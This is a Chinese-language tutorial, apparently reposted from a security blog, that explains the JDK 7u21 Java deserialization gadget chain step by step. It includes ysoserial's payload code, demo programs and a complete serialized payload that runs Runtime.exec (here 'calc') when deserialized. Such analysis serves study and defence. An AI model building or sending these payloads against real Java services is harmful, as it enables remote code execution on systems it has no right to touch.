Java 7u21链原理是什么
Java 7u21链原理是什么
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简介
jdk7u21 链,是一个不需要借助第三方库就能实现的链。影响版本<=7u21
分析
from ysonerial
我们先来看看ysonerial里的payload是怎么写的,然后沿着其思路进行分析
public Object getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]); LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", (Object)null); Reflections.setFieldValue(templates, "_class", (Object)null); map.put(zeroHashCodeStr, templates); return set; }
TemplatesImpl
我们看到,ysonerial的payload上来就通过Gadgets.createTemplatesImpl(command) 试图创建一个TemplatesImpl类。 createTemplatesImpl源码如下,我们发现创建TemplatesImpl类后又通过反射和javassist做了许多操作。
public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec("" + command.replaceAll("\\", "\\\\").replaceAll(""", "\"") + "");"; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); byte[] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)}); Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
那么为什么要创建这个类并且调用反射和javassist机制呢?先不急,我们看一下TemplatesImpl源码。
首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下
private byte[][] _bytecodes = (byte[][])null; private void defineTransletClasses() throws TransformerConfigurationException { if (this._bytecodes == null) { ..... } else { TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { int classCount = this._bytecodes.length; this._class = new Class[classCount]; for(int i = 0; i < classCount; ++i) { this._class[i] = loader.defineClass(this._bytecodes[i]); \将_bytecodes中的所有字节通过defineClass转化为一个类 Class superClass = this._class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { this._transletIndex = i; } else { this._auxClasses.put(this._class[i].getName(), this._class[i]); } } }
也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:
getTransletInstance getTransletIndex getTransletClasses
其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下
private Translet getTransletInstance() throws TransformerConfigurationException { ErrorMsg err; try { if (this._name == null) { return null; } else { if (this._class == null) { this.defineTransletClasses(); } AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \here translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(this._useServicesMechanism); if (this._auxClasses != null) { translet.setAuxiliaryClasses(this._auxClasses); } return translet; }
那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory); \here ········ }
OK.我们找到了触发7u21链的一个核心点了。我们写个小demo来通过TemplatesImpl实现代码执行 小demo的实现思路为:通过javassist动态生成一个恶意类(构造方法或者静态代码块有恶意代码),然后通过反射生成一个TemplatesImpl对象并设置各个变量的值,然后调用一下TemplatesImpl对象的newTransformer方法即可造成代码执行,代码如下
public class test{ public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec("calc");"; cc.makeClassInitializer().insertBefore(cmd); \向静态代码块插入恶意代码,插入到构造函数也可以 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); \需设置此项才能实现newinstance,具体原因请看defineTransletClasses和getTransletInstance源码 cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍历Fields数组 try { Field.setAccessible(true); //对数组中的每一项实现私有访问 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } templates.newTransformer(); } }
但仅仅是这样,肯定是不够的。
AnnotationInvocationHandler
我们继续看ysoserial源码可以看到动用了AnnotationInvocationHandler这个东西.这个类原本的作用是作为Annotation 类的动态代理
我们把目光聚焦于invoke方法——动态代理的核心
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } .......... }
它会检测传入的方法中是否有符合 名为equals,只有一个Object类型参数。若是,则调用equalsImpl方法并传入方法中的参数。 跟进equalsimpl方法
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); \here } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } }
发现会invoke 传入参数中的所有方法。 那么接下来我们就可以按照下面的思路写一个命令执行小demo:
创建一个包含恶意代码的TemplatesImpl实例,通过AnnotationInvocationHandler创建任意一个代理对象,然后代理对象调用equals方法传入参数为恶意TemplatesImpl对象,即可造成恶意代码执行 看到这里一定一头雾水,看看demo也许会好一点
public class test{ public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec("calc");"; CtConstructor cons = new CtConstructor(new CtClass[]{},cc); cons.setBody("Runtime.getRuntime().exec("calc");"); cc.addConstructor(cons); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍历Fields数组 try { //执行get()方法时需抛出IllegalAccessException错误 Field.setAccessible(true); //对数组中的每一项实现私有访问 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } //以上代码生成了恶意TemplatesImpl对象templates Map map = new HashMap(); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; //获得AnnotationInvocationHandler构造方法,方便获得它一个实例 ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); //这里有个问题,为什么要传入Templates类对象而不是TemplatesImpl Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); \反正创建一个AnnotationInvocationHandler的代理对象就行了,前两个参数都不用怎么管 proxy.equals(templates); //恶意代码执行 } }
我们慢慢看看逻辑,在proxy.equals处下断点,调试 毫无疑问会进入到此处:AnnotationInvocationHandler的invoke方法。
然后参数符合if判断,调用equalsImpl方法,并传入参数为恶意TemplatesImpl对象,接下来就是进入反射调用处
遍历var2变量中的方法,并由我们的恶意对象来执行。
————此处插一下var2变量的来历
注意此处的getMemberMethods方法,它实质上是通过反射获得this.type中的所有方法。而this.type是在该对象构造方法中传入的第一个参数。
getMemberMethods:
构造方法:
————回到正题
由于我们通过反射传入构造方法的第一个参数是Templates.class,所以它会遍历Templates类中的所有方法。这个类其实是TemplatesImpl的接口类,它的代码如下
所以var2中存储的方法只有两个,newTransformer和getOutputProperties。 然后当遍历到newTransformer方法时,就会通过反射调用达到 eviltemplatesImpl.newTransformer() 的效果,从而导致恶意TemplatesImpl对象中的恶意代码被执行。
这里承接上面说的,为什么初始化AnnotationInvocationHandler对象时传入的第一个参数(即this.type)是Templates.class,而不是TemplatesImpl.class 诚然,这两个类对象都有方法newTransformer。但是如果传入TemplatesImpl.class,在遍历其中方法并通过反射执行时会出现错误:equalsImpl中的反射调用是不传入参数的
而TemplatesImpl中有许多需要传入参数才能被正常使用的方法,如果不传入参数就反射调用就会抛出异常,以至于在遍历到newTransformer方法前就会抛出异常,从而导致代码执行不被实现。
仅仅是这样,也还是不够的,我们还是得手动调用equals才能导致代码执行,反序列化点在哪里?
LinkedHashSet
ysoserial的payload中出现了此类。
LinkedHashSet继承自HashSet类,它的readObject方法也是从HashSet继承而来的。我们看看readObject方法的构造
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); int var2 = var1.readInt(); float var3 = var1.readFloat(); this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3)); int var4 = var1.readInt(); for(int var5 = 0; var5 < var4; ++var5) { Object var6 = var1.readObject(); this.map.put(var6, PRESENT); } } }
它的主要亮点在for循环里面:遍历传入的序列化对象,将其反序列化后,再传入put方法
所以我们再来跟进一下map.put方法
public V put(K var1, V var2) { if (var1 == null) { return this.putForNullKey(var2); } else { int var3 = this.hash(var1); int var4 = indexFor(var3, this.table.length); for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) { Object var6; if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) { //here Object var7 = var5.value; var5.value = var2; var5.recordAccess(this); return var7; } } ++this.modCount; this.addEntry(var3, var1, var2, var4); return null; } }
注意我们添加注释那一行,有一个var1.equals(var6))) 其中var1和var6我们都是可以控制的:var1即传入的反序列化对象(恶意TemplatesImpl),var6实际上也是我们传入的反序列化对象(恶意AnnotationInvocationHandler代理对象)。
但是想要执行var1.equals(var6))) 则必须要让 var5.hash == var3 为true 且 (var6 = var5.key) == var1为false. 怎么做到呢?
注意put方法的第5行,对传入的反序列化对象调用了hash方法。我们跟进hash方法
final int hash(Object var1) { int var2 = 0; if (this.useAltHashing) { if (var1 instanceof String) { return Hashing.stringHash42((String)var1); } var2 = this.hashSeed; } var2 ^= var1.hashCode(); //here var2 ^= var2 >>> 20 ^ var2 >>> 12; return var2 ^ var2 >>> 7 ^ var2 >>> 4; }
发现会执行传入的参数对象的hashCode()方法 当我们传入的参数为恶意AnnotationInvocationHandler代理对象时,会调用代理对象中的invoke方法。对于AnnotationInvocationHandler而言当判断到执行hashCode方法时,实质上会执行AnnotationInvocationHandler中的hashCodeImpl方法
我们跟进hashCodeImpl
private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } 上面是真实代码,比较难看,所以借鉴了一下别人对其进行修改后的代码,方便我们进行分析 private int hashCodeImpl() { int result = 0; // 遍历 memberValues Iterator itr = this.memberValues.entrySet().iterator(); for( ;itr.hasNext(); ) { Entry entry = (Entry)itr.next(); String key = ((String)entry.getKey()); Object value = entry.getValue(); // 127 * key 的 hashCode,再和 memberValueHashCode(value) 进行异或 result += 127 * key.hashCode() ^ memberValueHashCode(value); } return result; }
这个方法会遍历this.memberValues属性(这个属性实质上就是HashMap内添加的属性),然后对其中每一项键值属性进行进行位运算并累加
其中memberValueHashCode函数我们也可以跟进一下
发现只要传入参数不为数组,就调用它的hashCode函数并返回。
我们来梳理一下,怎么才能调用到put方法里的equals触发代码执行: payload阶段:
建立一个map变量,其key为特殊的一个值:f5a5a608,这个值的hashCode是0,然后值为恶意templatesImpl类,然后以这个map变量为参数建立AnnotationInvocationHandler代理对象。
再向HashMap里放入一个值,键为恶意TemplatesImpl对象, 再放入一个值,键为恶意AnnotationInvocationHandler对象。 (LinkedHashSet会让HashMap有序,从而在反序列化的时候能按顺序依次从HashMap读取对象。如果用HashSet,则会在反序列化时报错)
反序列化阶段:
随后在readObject时,TemplatesImpl先被put方法调用。
然后在put方法里通过hash()方法获得其hash,并将其录入到它的hash属性里,然后写入到HashMap的存储队列里。
然后AnnotationInvocationHandler再被put方法调用
在对其使用hash方法获得hash时,会因其是一个代理类的缘故在hash函数内部调用hashCode()方法时会调用其代理方法hashCodeImpl。
随后在hashCodeImpl内部遍历this.memberValues变量(也就是之前初始化时放入的map变量)
将每一项的key值的hashCode与传入map vaule值作为参数的memberValueHashCode方法进行异或。 这个memberValueHashCode方法会判断传入的值是否为数组,若不是数组则直接返回参数的hashCode()。
因为我们之前初始化代理对象时传入的是一个键为f5a5a608,值为eviltemplates的map,所以以上hash计算最终得到的结果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是说AnnotationInvocationHandler对象作为参数传入被hash方法执行后的结果,就相当于是hash(eviltemplates)
随后这个值来到if判断逻辑,它遍历之前的值,并将遍历得到的值赋给var5
上一个值的hash(也就是eviltemplates的hash)与AnnotationInvocationHandler对象的hash(也还是eviltemplates的hash)相同,但是AnnotationInvocationHandler对象与eviltemplates对象并不相同,所以便触动了equals,代码执行成功。
完整payload
纵观以上三个类,我们可以写出payload
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec("calc");"; CtConstructor cons = new CtConstructor(new CtClass[]{},cc); cons.setBody("Runtime.getRuntime().exec("calc");"); cc.addConstructor(cons); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍历Fields数组 try { //执行get()方法时需抛出IllegalAccessException错误 Field.setAccessible(true); //对数组中的每一项实现私有访问 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } Map map = new HashMap(); String magicStr = "f5a5a608"; final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); HashSet target = new LinkedHashSet(); target.add(templates); target.add(proxy); //这个map需要在Hashmap put了proxy后再赋值,不然会报错(我也不知道为什么 map.put(magicStr, templates); // 序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(target); // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject();
看一下调用栈
更直观的调用链
LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... // TemplatesImpl.getOutputProperties(),实际测试时会直接调用 newTransformer() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
到此,关于“Java 7u21链原理是什么”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注高防服务器网网站,小编会继续努力为大家带来更多实用的文章!
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